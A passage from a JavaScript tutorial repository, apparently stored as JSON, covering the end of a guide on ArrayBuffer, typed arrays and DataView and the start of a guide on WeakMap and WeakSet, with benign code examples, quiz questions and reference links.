back\nctx.putImageData(imageData, 0, 0)\n```\n\n<Tip>\n**Why Uint8ClampedArray?** Unlike regular Uint8Array, values outside 0-255 are \"clamped\" rather than wrapped. Setting a value to 300 becomes 255, and -50 becomes 0. This prevents visual artifacts when doing color math.\n</Tip>\n\n### Creating Binary Data to Send\n\nWhen sending binary data over the network (like through the [Fetch API](/concepts/http-fetch) or WebSockets), you often need to build a specific format:\n\n```javascript\nfunction createBinaryMessage(messageType, payload) {\n  // Message format:\n  // Byte 0: Message type (1 byte)\n  // Bytes 1-4: Payload length (32-bit uint, big-endian)\n  // Bytes 5+: Payload data\n  \n  const payloadBytes = new TextEncoder().encode(payload)\n  const buffer = new ArrayBuffer(5 + payloadBytes.length)\n  const view = new DataView(buffer)\n  \n  // Write header\n  view.setUint8(0, messageType)\n  view.setUint32(1, payloadBytes.length, false)  // big-endian\n  \n  // Write payload\n  const uint8View = new Uint8Array(buffer, 5)\n  uint8View.set(payloadBytes)\n  \n  return buffer\n}\n\n// Usage\nconst message = createBinaryMessage(1, \"Hello, binary world!\")\n// Can send via WebSocket: ws.send(message)\n```\n\n### Converting Between Text and Binary\n\nThe [TextEncoder](https://developer.mozilla.org/en-US/docs/Web/API/TextEncoder) and [TextDecoder](https://developer.mozilla.org/en-US/docs/Web/API/TextDecoder) APIs convert between strings and typed arrays:\n\n```javascript\n// String to bytes (UTF-8)\nconst encoder = new TextEncoder()\nconst bytes = encoder.encode(\"Hello 世界\")\nconsole.log(bytes)  // Uint8Array [72, 101, 108, 108, 111, 32, 228, 184, 150, 231, 149, 140]\n\n// Bytes to string\nconst decoder = new TextDecoder('utf-8')\nconst text = decoder.decode(bytes)\nconsole.log(text)  // \"Hello 世界\"\n\n// Can also decode a buffer directly\nconst buffer = new ArrayBuffer(5)\nnew Uint8Array(buffer).set([72, 101, 108, 108, 111])\nconsole.log(decoder.decode(buffer))  // \"Hello\"\n```\n\n---\n\n## Common Methods and Properties\n\nTyped arrays share most array methods but have some unique ones:\n\n### Properties\n\n```javascript\nconst arr = new Int32Array([1, 2, 3, 4])\n\narr.length         // 4 - number of elements\narr.byteLength     // 16 - total bytes (4 elements × 4 bytes)\narr.byteOffset     // 0 - offset into the buffer\narr.buffer         // The underlying ArrayBuffer\narr.BYTES_PER_ELEMENT  // 4 - bytes per element (static property)\n\nInt32Array.BYTES_PER_ELEMENT  // 4 - also accessible on the constructor\n```\n\n### Unique Methods\n\n```javascript\nconst target = new Uint8Array(10)\nconst source = new Uint8Array([1, 2, 3])\n\n// set() - copy values from another array\ntarget.set(source)        // Copy to start\ntarget.set(source, 5)     // Copy starting at index 5\nconsole.log([...target])  // [1, 2, 3, 0, 0, 1, 2, 3, 0, 0]\n\n// subarray() - create a view into a portion (shares the buffer!)\nconst view = target.subarray(2, 6)\nconsole.log([...view])    // [3, 0, 0, 1]\n\nview[0] = 99\nconsole.log(target[2])    // 99 - original changed too!\n```\n\n<Warning>\n**subarray() vs slice():** `subarray()` creates a new view on the same buffer (changes affect the original). `slice()` copies the data to a new buffer (changes are independent).\n</Warning>\n\n---\n\n## The #1 Typed Array Mistake\n\nThe most common mistake is forgetting that `subarray()` shares the underlying buffer:\n\n```javascript\n// ❌ WRONG - Modifying what you thought was a copy\nconst original = new Uint8Array([1, 2, 3, 4, 5])\nconst section = original.subarray(1, 4)\n\nsection[0] = 99\nconsole.log(original[1])  // 99 - Oops! Original changed\n\n// ✓ CORRECT - Use slice() for an independent copy\nconst original2 = new Uint8Array([1, 2, 3, 4, 5])\nconst copy = original2.slice(1, 4)\n\ncopy[0] = 99\nconsole.log(original2[1])  // 2 - Original unchanged\n```\n\nAnother common mistake is overflow behavior:\n\n```javascript\n// Values wrap around in typed arrays (except Uint8ClampedArray)\nconst bytes = new Uint8Array([250])\nbytes[0] += 10\nconsole.log(bytes[0])  // 4, not 260! (260 - 256 = 4)\n\n// Use Uint8ClampedArray for clamping behavior\nconst clamped = new Uint8ClampedArray([250])\nclamped[0] += 10\nconsole.log(clamped[0])  // 255, clamped to max value\n```\n\n---\n\n## Web APIs Using Typed Arrays\n\nMany modern Web APIs work with typed arrays:\n\n| API | Typed Array Used | Purpose |\n|-----|------------------|---------|\n| [Canvas 2D](https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData) | Uint8ClampedArray | Pixel manipulation |\n| [WebGL](https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API) | Float32Array, Uint16Array | Vertex data, indices |\n| [Web Audio](https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API) | Float32Array | Audio samples |\n| [Fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Response/arrayBuffer) | ArrayBuffer | Binary response data |\n| [WebSockets](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket) | ArrayBuffer | Binary messages |\n| [FileReader](https://developer.mozilla.org/en-US/docs/Web/API/FileReader/readAsArrayBuffer) | ArrayBuffer | File contents |\n| [Crypto API](https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValues) | Uint8Array, etc. | Random values, hashes |\n| [WebRTC](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API) | ArrayBuffer | Media streaming |\n\nArrayBuffers are also essential when using [Web Workers](/concepts/web-workers) — you can transfer ownership of buffers between threads using `postMessage()` with the `transfer` option, avoiding expensive copies.\n\n---\n\n## Converting to Regular Arrays\n\nSometimes you need to convert between typed arrays and regular arrays:\n\n```javascript\nconst typed = new Uint8Array([1, 2, 3, 4, 5])\n\n// Using Array.from()\nconst array1 = Array.from(typed)\nconsole.log(array1)  // [1, 2, 3, 4, 5]\n\n// Using spread operator\nconst array2 = [...typed]\nconsole.log(array2)  // [1, 2, 3, 4, 5]\n\n// Convert back to typed array\nconst backToTyped = new Uint8Array(array2)\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **ArrayBuffer is raw memory** — A fixed-length container of bytes. You can't read/write directly; you need a view.\n\n2. **Typed Arrays are views** — They interpret buffer bytes as specific numeric types (Uint8, Int32, Float64, etc.).\n\n3. **One buffer, many views** — The same bytes can be read as different types. A 16-byte buffer could be 16 bytes, 4 integers, or 2 doubles.\n\n4. **Fixed length** — Unlike regular arrays, typed arrays can't grow or shrink. No push(), pop(), or splice().\n\n5. **subarray() shares the buffer** — Changes to a subarray affect the original. Use slice() for an independent copy.\n\n6. **DataView for mixed types** — When parsing binary formats with different types at specific offsets, use DataView.\n\n7. **Mind the endianness** — Most systems are little-endian. When parsing binary protocols, explicitly specify byte order with DataView.\n\n8. **Uint8ClampedArray for images** — It clamps values to 0-255 instead of wrapping, preventing visual artifacts.\n\n9. **TextEncoder/TextDecoder for strings** — Convert between strings and byte arrays using these APIs.\n\n10. **Many Web APIs use them** — Canvas, WebGL, Web Audio, Fetch, WebSockets, and Crypto all work with binary data.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between ArrayBuffer and Uint8Array?\">\n    **Answer:**\n    \n    An `ArrayBuffer` is raw memory storage. It holds bytes but provides no way to access them directly. You can only check its `byteLength`.\n    \n    A `Uint8Array` is a **view** that interprets an ArrayBuffer's bytes as unsigned 8-bit integers (0-255). It provides array-like access to the data.\n    \n    ```javascript\n    const buffer = new ArrayBuffer(4)\n    console.log(buffer[0])  // undefined - can't access!\n    \n    const view = new Uint8Array(buffer)\n    console.log(view[0])    // 0 - now we can access\n    view[0] = 42\n    console.log(view[0])    // 42\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: How do you create a typed array that shares memory with another?\">\n    **Answer:**\n    \n    Create a new typed array view on the same buffer:\n    \n    ```javascript\n    const uint8 = new Uint8Array([0x12, 0x34, 0x56, 0x78])\n    \n    // Create a different view on the same buffer\n    const uint32 = new Uint32Array(uint8.buffer)\n    \n    // Or use subarray() for a portion of the same type\n    const portion = uint8.subarray(1, 3)\n    \n    // Both share memory - changes affect each other\n    uint32[0] = 0\n    console.log(uint8[0])  // 0 - changed!\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What happens when you assign 300 to a Uint8Array element?\">\n    **Answer:**\n    \n    It wraps around because 300 exceeds the 0-255 range. The value becomes `300 % 256 = 44`.\n    \n    ```javascript\n    const arr = new Uint8Array(1)\n    arr[0] = 300\n    console.log(arr[0])  // 44\n    \n    // For clamping behavior, use Uint8ClampedArray\n    const clamped = new Uint8ClampedArray(1)\n    clamped[0] = 300\n    console.log(clamped[0])  // 255 (clamped to max)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 4: When should you use DataView instead of a typed array?\">\n    **Answer:**\n    \n    Use DataView when:\n    - Your data contains **mixed types** (e.g., a header with uint32, uint16, and float32 fields)\n    - You need to control **endianness** explicitly\n    - You're reading/writing at **arbitrary byte offsets**\n    \n    ```javascript\n    // Parsing a binary protocol with mixed types\n    const buffer = await response.arrayBuffer()\n    const view = new DataView(buffer)\n    \n    const header = {\n      version: view.getUint8(0),           // 1 byte\n      flags: view.getUint16(1, true),      // 2 bytes, little-endian\n      timestamp: view.getFloat64(3, true)  // 8 bytes, little-endian\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What's the difference between slice() and subarray()?\">\n    **Answer:**\n    \n    - `slice()` creates a **new buffer** with copied data. Changes don't affect the original.\n    - `subarray()` creates a **new view** on the same buffer. Changes affect the original.\n    \n    ```javascript\n    const original = new Uint8Array([1, 2, 3, 4])\n    \n    const sliced = original.slice(1, 3)\n    sliced[0] = 99\n    console.log(original[1])  // 2 - unchanged\n    \n    const sub = original.subarray(1, 3)\n    sub[0] = 99\n    console.log(original[1])  // 99 - changed!\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How do you convert a string to bytes and back?\">\n    **Answer:**\n    \n    Use `TextEncoder` and `TextDecoder`:\n    \n    ```javascript\n    // String to bytes (UTF-8)\n    const encoder = new TextEncoder()\n    const bytes = encoder.encode(\"Hello!\")\n    console.log(bytes)  // Uint8Array [72, 101, 108, 108, 111, 33]\n    \n    // Bytes to string\n    const decoder = new TextDecoder('utf-8')\n    const text = decoder.decode(bytes)\n    console.log(text)  // \"Hello!\"\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is the difference between ArrayBuffer and Typed Arrays?\">\n    An `ArrayBuffer` is a fixed-length block of raw binary memory — you cannot read or write it directly. Typed Arrays like `Uint8Array`, `Float32Array`, and `Int16Array` are views that interpret the buffer's bytes in a specific format. Multiple views can share the same underlying buffer.\n  </Accordion>\n\n  <Accordion title=\"When should I use Typed Arrays instead of regular arrays?\">\n    Use Typed Arrays when working with binary data: file I/O, WebGL rendering, audio processing, WebSocket binary messages, or image pixel manipulation. MDN notes that Typed Arrays are significantly faster for numeric computation because they store fixed-type values in contiguous memory, avoiding the overhead of JavaScript's dynamic typing.\n  </Accordion>\n\n  <Accordion title=\"What is DataView and when should I use it?\">\n    `DataView` provides a flexible interface for reading and writing multiple data types from a single `ArrayBuffer`, with explicit control over byte order (endianness). Use it when parsing binary file formats or network protocols that contain mixed data types, rather than creating multiple Typed Array views.\n  </Accordion>\n\n  <Accordion title=\"Can Typed Arrays be transferred between Web Workers?\">\n    Yes — `ArrayBuffer` objects can be transferred (not copied) to Web Workers using the `transfer` option in `postMessage()`. After transfer, the original buffer becomes zero-length and unusable. MDN documents this as a \"transferable object\" — it moves ownership rather than duplicating data, which is critical for performance with large buffers.\n  </Accordion>\n\n  <Accordion title=\"What happens if I write a value too large for a Typed Array?\">\n    Values are silently clamped or wrapped to fit. For example, writing 256 to a `Uint8Array` (max 255) wraps to 0. The exception is `Uint8ClampedArray`, which clamps values to the valid range (0-255 for images) instead of wrapping — this is why it's used for canvas pixel data.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Blob & File API\" icon=\"file\" href=\"/beyond/concepts/blob-file-api\">\n    Work with binary data as files and blobs\n  </Card>\n  <Card title=\"Web Workers\" icon=\"gears\" href=\"/concepts/web-workers\">\n    Transfer ArrayBuffers between threads\n  </Card>\n  <Card title=\"Memory Management\" icon=\"memory\" href=\"/beyond/concepts/memory-management\">\n    How JavaScript manages memory allocation\n  </Card>\n  <Card title=\"Fetch API\" icon=\"cloud-arrow-down\" href=\"/concepts/http-fetch\">\n    Fetch binary data from APIs\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Typed Arrays — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Typed_arrays\">\n    The complete MDN guide to typed arrays, covering buffers, views, and all typed array types with detailed examples.\n  </Card>\n  <Card title=\"ArrayBuffer — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer\">\n    Official reference for ArrayBuffer including constructor, properties, and methods like slice() and transfer().\n  </Card>\n  <Card title=\"DataView — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView\">\n    DataView reference with all getter/setter methods for reading and writing different numeric types.\n  </Card>\n  <Card title=\"TypedArray — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray\">\n    Reference for the TypedArray prototype methods shared by all typed array types.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"ArrayBuffer, binary arrays — JavaScript.info\" icon=\"newspaper\" href=\"https://javascript.info/arraybuffer-binary-arrays\">\n    Excellent tutorial with clear visualizations of how buffers and views work together. Includes interactive examples and exercises to test your understanding.\n  </Card>\n  <Card title=\"Mastering JavaScript ArrayBuffer — DEV.to\" icon=\"newspaper\" href=\"https://dev.to/dharamgfx/mastering-javascript-arraybuffer-a-comprehensive-guide-1d5h\">\n    Comprehensive guide covering ArrayBuffer creation, typed array operations, and practical use cases. Good for developers wanting a complete overview.\n  </Card>\n  <Card title=\"Binary Data in JavaScript — Medium\" icon=\"newspaper\" href=\"https://medium.com/@masterakbaridev/understanding-binary-data-in-javascript-exploring-arraybuffer-and-typed-arrays-42062362a473\">\n    Clear explanations of when and why to use typed arrays, with focus on real-world applications like WebSockets and file handling.\n  </Card>\n  <Card title=\"Typed Arrays in JavaScript — HackerNoon\" icon=\"newspaper\" href=\"https://hackernoon.com/javascript-typed-arrays-beginners-guide-ld1x3136\">\n    Beginner-friendly introduction covering the basics of typed arrays with simple examples. Great starting point for newcomers to binary data.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Typed Arrays & Array Buffers — Web Fusion\" icon=\"video\" href=\"https://www.youtube.com/watch?v=rL4AyCAl5_Y\">\n    Step-by-step tutorial walking through ArrayBuffer and typed array fundamentals with live coding examples.\n  </Card>\n  <Card title=\"JavaScript Binary Data — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=x2_bcCZg8vU\">\n    Fast-paced overview of binary data handling in JavaScript, covering typed arrays, DataView, and common use cases in under 10 minutes.\n  </Card>\n  <Card title=\"Understanding ArrayBuffer — JSConf\" icon=\"video\" href=\"https://www.youtube.com/watch?v=UYkJaW3pl4A\">\n    Conference talk exploring the internals of ArrayBuffer and how it enables high-performance binary operations in JavaScript.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/weakmap-weakset.mdx",
    "content": "---\ntitle: \"WeakMap & WeakSet in JavaScript\"\nsidebarTitle: \"WeakMap & WeakSet\"\ndescription: \"Learn JavaScript WeakMap and WeakSet. Understand weak references, automatic garbage collection, private data patterns, and when to use them over Map and Set.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Objects & Properties\"\n\"article:tag\": \"weakmap weakset, weak references, garbage collection, private data, memory management\"\n---\n\nWhy does storing objects in a Map sometimes cause memory leaks? How can you attach metadata to objects without preventing them from being garbage collected? What's the difference between \"strong\" and \"weak\" references?\n\n```javascript\n// The memory leak problem with Map\nconst cache = new Map()\n\nfunction processUser(user) {\n  // User object stays in memory forever, even after it's no longer needed!\n  cache.set(user, { processed: true, timestamp: Date.now() })\n}\n\n// With WeakMap, the cached data is automatically cleaned up\nconst smartCache = new WeakMap()\n\nfunction smartProcessUser(user) {\n  // When 'user' is garbage collected, this entry disappears too!\n  smartCache.set(user, { processed: true, timestamp: Date.now() })\n}\n```\n\nThe answer lies in **[WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap)** and **[WeakSet](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet)**. These are special collections that hold \"weak\" references to objects, allowing JavaScript's garbage collector to clean them up when they're no longer needed elsewhere.\n\n<Info>\n**What you'll learn in this guide:**\n- What \"weak\" references mean and how they differ from strong references\n- WeakMap API and its four methods\n- WeakSet API and its three methods\n- Private data patterns using WeakMap\n- Object metadata and caching without memory leaks\n- Tracking objects without preventing garbage collection\n- Limitations: why you can't iterate or get the size\n- Symbol keys in WeakMap (ES2023+)\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you understand [Data Structures](/concepts/data-structures) including Map and Set. If you're not familiar with those, read that guide first.\n</Warning>\n\n---\n\n## What is a Weak Reference?\n\nA **weak reference** is a reference to an object that doesn't prevent the object from being garbage collected. When no strong references to an object remain, the JavaScript engine can reclaim its memory, even if weak references still point to it. WeakMap and WeakSet use weak references for their keys and values respectively, enabling automatic memory cleanup. According to the [ECMAScript specification](https://tc39.es/ecma262/#sec-weakmap-objects), WeakMap entries must be removed from the collection when the key object is no longer reachable by any other means.\n\nTo understand this, you need to know how JavaScript handles memory. When you create an object and store it in a variable, that variable holds a **strong reference**:\n\n```javascript\nlet user = { name: 'Alice' }  // Strong reference to the object\n\n// The object stays in memory as long as 'user' points to it\n```\n\nWhen you remove all strong references, the garbage collector can clean up:\n\n```javascript\nlet user = { name: 'Alice' }\nuser = null  // No more strong references — object can be garbage collected\n```\n\nThe problem with regular Map and Set is they create **strong references** to their keys and values:\n\n```javascript\nconst map = new Map()\nlet user = { name: 'Alice' }\n\nmap.set(user, 'some data')\n\nuser = null  // You might think the object will be cleaned up...\n// But NO! The Map still holds a strong reference to the key object\n// It stays in memory forever until you manually delete it from the Map\n```\n\n---\n\n## The Rope Bridge Analogy\n\nThink of object references like ropes holding up a platform over a canyon:\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    STRONG vs WEAK REFERENCES                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   STRONG REFERENCE (Map/Set)           WEAK REFERENCE (WeakMap/WeakSet)  │\n│   ──────────────────────────           ─────────────────────────────────  │\n│                                                                          │\n│        ═══════╦═══════                       ═══════╦═══════             │\n│               ║ steel                              ║ thread              │\n│               ║ cable                              ║                     │\n│        ┌──────╨──────┐                      ┌──────╨──────┐              │\n│        │   OBJECT    │                      │   OBJECT    │              │\n│        │  { user }   │                      │  { user }   │              │\n│        └─────────────┘                      └─────────────┘              │\n│                                                                          │\n│   The steel cable PREVENTS                 The thread ALLOWS the         │\n│   the object from falling                  object to fall (be garbage    │\n│   (being garbage collected)                collected) when no steel      │\n│   even if nothing else holds it.           cables remain.                │\n│                                                                          │\n│   Map keeps objects alive!                 WeakMap lets objects go!      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n- **Strong references** (regular variables, Map keys, Set values) = steel cables that keep objects from falling\n- **Weak references** (WeakMap keys, WeakSet values) = threads that let objects fall when no steel cables remain\n\n---\n\n## WeakMap: The Basics\n\nA [WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) is like a Map, but with three key differences:\n\n1. **Keys must be objects** (or non-registered [Symbols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) in ES2023+)\n2. **Keys are held weakly** — they don't prevent garbage collection\n3. **No iteration** — you can't loop through a WeakMap or get its size\n\n### WeakMap API\n\nWeakMap has just four methods:\n\n| Method | Description | Returns |\n|--------|-------------|---------|\n| `set(key, value)` | Add or update an entry | The WeakMap (for chaining) |\n| `get(key)` | Get the value for a key | The value, or `undefined` |\n| `has(key)` | Check if a key exists | `true` or `false` |\n| `delete(key)` | Remove an entry | `true` if removed, `false` if not found |\n\n```javascript\nconst weakMap = new WeakMap()\n\nconst obj1 = { id: 1 }\nconst obj2 = { id: 2 }\n\n// Set entries\nweakMap.set(obj1, 'first')\nweakMap.set(obj2, 'second')\n\n// Get values\nconsole.log(weakMap.get(obj1))  // \"first\"\nconsole.log(weakMap.get(obj2))  // \"second\"\n\n// Check existence\nconsole.log(weakMap.has(obj1))  // true\nconsole.log(weakMap.has({ id: 3 }))  // false (different object reference)\n\n// Delete entries\nweakMap.delete(obj1)\nconsole.log(weakMap.has(obj1))  // false\n```\n\n### Keys Must Be Objects\n\nWeakMap keys **must** be objects. Primitives like strings or numbers will throw a [TypeError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError):\n\n```javascript\nconst weakMap = new WeakMap()\n\n// ✓ These work - objects as keys\nweakMap.set({}, 'empty object')\nweakMap.set([], 'array')\nweakMap.set(function() {}, 'function')\nweakMap.set(new Date(), 'date')\n\n// ❌ These throw TypeError - primitives as keys\nweakMap.set('string', 'value')     // TypeError!\nweakMap.set(123, 'value')          // TypeError!\nweakMap.set(true, 'value')         // TypeError!\nweakMap.set(null, 'value')         // TypeError!\nweakMap.set(undefined, 'value')    // TypeError!\n```\n\n<Note>\n**Why only objects?** Primitives don't have a stable identity. The number `42` is always the same `42` everywhere in your program. Objects, however, are unique by reference. Two `{}` are different objects, even if they look identical. This identity is what makes weak references meaningful.\n</Note>\n\n### Values Can Be Anything\n\nWhile keys must be objects, values can be any type:\n\n```javascript\nconst weakMap = new WeakMap()\nconst key = { id: 1 }\n\nweakMap.set(key, 'string value')\nweakMap.set(key, 42)\nweakMap.set(key, null)\nweakMap.set(key, undefined)\nweakMap.set(key, { nested: 'object' })\nweakMap.set(key, [1, 2, 3])\n```\n\n---\n\n## WeakMap Use Cases\n\n### 1. Private Data Pattern\n\nOne of the most powerful uses of WeakMap is storing truly private data for class instances:\n\n```javascript\n// Private data storage\nconst privateData = new WeakMap()\n\nclass User {\n  constructor(name, password) {\n    this.name = name  // Public property\n    \n    // Store private data with 'this' as the key\n    privateData.set(this, {\n      password,\n      loginAttempts: 0\n    })\n  }\n  \n  checkPassword(input) {\n    const data = privateData.get(this)\n    \n    if (data.password === input) {\n      data.loginAttempts = 0\n      return true\n    }\n    \n    data.loginAttempts++\n    return false\n  }\n  \n  getLoginAttempts() {\n    return privateData.get(this).loginAttempts\n  }\n}\n\nconst user = new User('Alice', 'secret123')\n\n// Public data is accessible\nconsole.log(user.name)      // \"Alice\"\n\n// Private data is NOT accessible\nconsole.log(user.password)  // undefined\n\n// But methods can use it\nconsole.log(user.checkPassword('wrong'))   // false\nconsole.log(user.checkPassword('secret123'))  // true\nconsole.log(user.getLoginAttempts())       // 0\n\n// When 'user' is garbage collected, private data is too!\n```\n\n<Tip>\n**Modern Alternative:** ES2022 introduced [private class fields](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Private_class_fields) with the `#` syntax. For new code, prefer `#password` over WeakMap for simpler private data. However, WeakMap is still useful when you need to attach private data to objects you don't control.\n</Tip>\n\n### 2. DOM Element Metadata\n\nStore metadata for DOM elements without modifying them or causing memory leaks:\n\n```javascript\nconst elementData = new WeakMap()\n\nfunction trackElement(element) {\n  elementData.set(element, {\n    clickCount: 0,\n    lastClicked: null,\n    customId: Math.random().toString(36).substr(2, 9)\n  })\n}\n\nfunction handleClick(element) {\n  const data = elementData.get(element)\n  if (data) {\n    data.clickCount++\n    data.lastClicked = new Date()\n  }\n}\n\n// Usage\nconst button = document.querySelector('#myButton')\ntrackElement(button)\n\nbutton.addEventListener('click', () => {\n  handleClick(button)\n  console.log(elementData.get(button))\n  // { clickCount: 1, lastClicked: Date, customId: 'abc123def' }\n})\n\n// When the button is removed from the DOM and no references remain,\n// both the element AND its metadata are garbage collected!\n```\n\n### 3. Object Caching\n\nCache computed results for objects without memory leaks:\n\n```javascript\nconst cache = new WeakMap()\n\nfunction expensiveOperation(obj) {\n  // Check cache first\n  if (cache.has(obj)) {\n    console.log('Cache hit!')\n    return cache.get(obj)\n  }\n  \n  // Simulate expensive computation\n  console.log('Computing...')\n  const result = Object.keys(obj)\n    .map(key => `${key}: ${obj[key]}`)\n    .join(', ')\n  \n  // Cache the result\n  cache.set(obj, result)\n  return result\n}\n\nconst user = { name: 'Alice', age: 30 }\n\nconsole.log(expensiveOperation(user))  // \"Computing...\" then \"name: Alice, age: 30\"\nconsole.log(expensiveOperation(user))  // \"Cache hit!\" then \"name: Alice, age: 30\"\n\n// When 'user' goes out of scope, the cached result is cleaned up automatically\n```\n\n### 4. Object-Level Memoization\n\nMemoize functions based on object arguments:\n\n```javascript\nfunction memoizeForObjects(fn) {\n  const cache = new WeakMap()\n  \n  return function(obj) {\n    if (cache.has(obj)) {\n      return cache.get(obj)\n    }\n    \n    const result = fn(obj)\n    cache.set(obj, result)\n    return result\n  }\n}\n\n// Usage\nconst getFullName = memoizeForObjects(user => {\n  console.log('Computing full name...')\n  return `${user.firstName} ${user.lastName}`\n})\n\nconst person = { firstName: 'John', lastName: 'Doe' }\n\nconsole.log(getFullName(person))  // \"Computing full name...\" -> \"John Doe\"\nconsole.log(getFullName(person))  // \"John Doe\" (cached)\n```\n\n---\n\n## WeakSet: The Basics\n\nA [WeakSet](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet) is like a Set, but:\n\n1. **Values must be objects** (or non-registered Symbols in ES2023+)\n2. **Values are held weakly** — they don't prevent garbage collection\n3. **No iteration** — you can't loop through a WeakSet or get its size\n\n### WeakSet API\n\nWeakSet has just three methods:\n\n| Method | Description | Returns |\n|--------|-------------|---------|\n| `add(value)` | Add an object to the set | The WeakSet (for chaining) |\n| `has(value)` | Check if an object is in the set | `true` or `false` |\n| `delete(value)` | Remove an object from the set | `true` if removed, `false` if not found |\n\n```javascript\nconst weakSet = new WeakSet()\n\nconst obj1 = { id: 1 }\nconst obj2 = { id: 2 }\n\n// Add objects\nweakSet.add(obj1)\nweakSet.add(obj2)\n\n// Check membership\nconsole.log(weakSet.has(obj1))  // true\nconsole.log(weakSet.has({ id: 1 }))  // false (different object)\n\n// Remove objects\nweakSet.delete(obj1)\nconsole.log(weakSet.has(obj1))  // false\n```\n\n---\n\n## WeakSet Use Cases\n\n### 1. Tracking Processed Objects\n\nPrevent processing the same object twice without memory leaks:\n\n```javascript\nconst processed = new WeakSet()\n\nfunction processOnce(obj) {\n  if (processed.has(obj)) {\n    console.log('Already processed, skipping...')\n    return null\n  }\n  \n  processed.add(obj)\n  console.log('Processing:', obj)\n  \n  // Do expensive operation\n  return { ...obj, processed: true }\n}\n\nconst user = { name: 'Alice' }\n\nprocessOnce(user)  // \"Processing: { name: 'Alice' }\"\nprocessOnce(user)  // \"Already processed, skipping...\"\nprocessOnce(user)  // \"Already processed, skipping...\"\n\n// When 'user' is garbage collected, it's automatically removed from 'processed'\n```\n\n### 2. Circular Reference Detection\n\nDetect circular references when cloning or serializing objects:\n\n```javascript\nfunction deepClone(obj, seen = new WeakSet()) {\n  // Handle primitives\n  if (obj === null || typeof obj !== 'object') {\n    return obj\n  }\n  \n  // Detect circular references\n  if (seen.has(obj)) {\n    throw new Error('Circular reference detected!')\n  }\n  \n  seen.add(obj)\n  \n  // Clone arrays\n  if (Array.isArray(obj)) {\n    return obj.map(item => deepClone(item, seen))\n  }\n  \n  // Clone objects\n  const clone = {}\n  for (const key in obj) {\n    if (obj.hasOwnProperty(key)) {\n      clone[key] = deepClone(obj[key], seen)\n    }\n  }\n  \n  return clone\n}\n\n// Test with circular reference\nconst obj = { name: 'Alice' }\nobj.self = obj  // Circular reference!\n\ntry {\n  deepClone(obj)\n} catch (e) {\n  console.log(e.message)  // \"Circular reference detected!\"\n}\n\n// Normal objects work fine\nconst normal = { a: 1, b: { c: 2 } }\nconsole.log(deepClone(normal))  // { a: 1, b: { c: 2 } }\n```\n\n### 3. Marking \"Visited\" Objects\n\nTrack visited nodes in graph traversal:\n\n```javascript\nfunction traverseGraph(node, visitor, visited = new WeakSet()) {\n  if (!node || visited.has(node)) {\n    return\n  }\n  \n  visited.add(node)\n  visitor(node)\n  \n  // Visit connected nodes\n  if (node.children) {\n    for (const child of node.children) {\n      traverseGraph(child, visitor, visited)\n    }\n  }\n}\n\n// Graph with potential cycles\nconst nodeA = { value: 'A', children: [] }\nconst nodeB = { value: 'B', children: [] }\nconst nodeC = { value: 'C', children: [] }\n\nnodeA.children = [nodeB, nodeC]\nnodeB.children = [nodeC, nodeA]  // Cycle back to A!\nnodeC.children = [nodeA]          // Cycle back to A!\n\n// Traverse without infinite loop\ntraverseGraph(nodeA, node => console.log(node.value))\n// Output: \"A\", \"B\", \"C\" (each visited only once)\n```\n\n### 4. Brand Checking\n\nVerify that an object was created by a specific constructor:\n\n```javascript\nconst validUsers = new WeakSet()\n\nclass User {\n  constructor(name) {\n    this.name = name\n    validUsers.add(this)  // Mark as valid\n  }\n  \n  static isValid(obj) {\n    return validUsers.has(obj)\n  }\n}\n\nconst realUser = new User('Alice')\nconst fakeUser = { name: 'Bob' }  // Looks like a User but isn't\n\nconsole.log(User.isValid(realUser))  // true\nconsole.log(User.isValid(fakeUser))  // 